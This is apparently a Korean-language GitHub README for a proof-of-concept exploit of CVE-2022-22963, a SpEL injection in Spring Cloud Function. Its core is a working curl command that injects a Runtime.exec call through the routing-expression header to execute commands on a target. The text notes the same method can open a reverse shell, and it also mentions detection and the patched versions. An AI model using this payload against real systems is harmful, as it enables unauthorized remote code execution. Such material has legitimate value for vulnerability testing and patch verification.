puckiestyle/cve-2022-22963CVE-2022-22963(Spring Cloud Function SpEL 주입)에 대한 개념 증명 익스플로잇으로, 탐지 스크립트와 curl 기반 RCE 페이로드 생성을 포함합니다.
CVE-2022-22963 PoC
영어 번역 및 https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py 의 탐지를 위해 약간 수정되었습니다. 기본적으로 대상에서 whoami가 실행되고 취약한 URL로 vulnerable.txt 파일이 생성됩니다.
이 취약점을 악용하는 것은 매우 쉽습니다. 다음은 취약점을 악용하는 curl 명령입니다.
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
이 curl을 사용하면 운영 체제에 파일을 생성하는 것은 간단하지만, 취약한 호스트나 컨테이너에서 리버스 셸을 여는 데 사용될 수도 있습니다.
CVE-2022-22963의 영향을 받는 경우, 애플리케이션을 최신 버전인 3.1.7 및 3.2.3으로 업데이트해야 합니다.
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
